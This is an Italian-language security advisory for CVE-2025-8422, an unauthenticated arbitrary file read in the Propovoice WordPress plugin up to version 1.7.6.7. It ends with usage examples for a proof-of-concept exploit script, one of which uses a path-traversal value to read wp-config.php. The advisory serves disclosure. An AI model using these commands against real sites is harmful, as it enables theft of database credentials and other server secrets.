CVE-2025-8422

Propovoice <= 1.7.6.7 - Lettura Arbitraria di File Non Autenticata

Descrizione

Il plugin Propovoice: All-in-One Client Management System per WordPress è vulnerabile alla Lettura Arbitraria di File in tutte le versioni fino alla 1.7.6.7 inclusa, tramite la funzione send_email(). Ciò consente a un attaccante non autenticato di leggere il contenuto di file arbitrari sul server, che possono contenere informazioni sensibili.

Dettagli

• Tipo: plugin
• Slug: propovoice
• Versione Affetta: 1.7.6.7
• Punteggio CVSS: 7.5
• Valutazione CVSS: Alto
• Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• CVE: CVE-2025-8422
• Stato: Chiuso

POC

Usage: python3 cve-2025-8422-exploit.py <target_url> <email_recipient> [target_file]

Examples:
  python3 cve-2025-8422-exploit.py https://example.com [email protected]
  python3 cve-2025-8422-exploit.py https://example.com [email protected] /../../../wp-config.php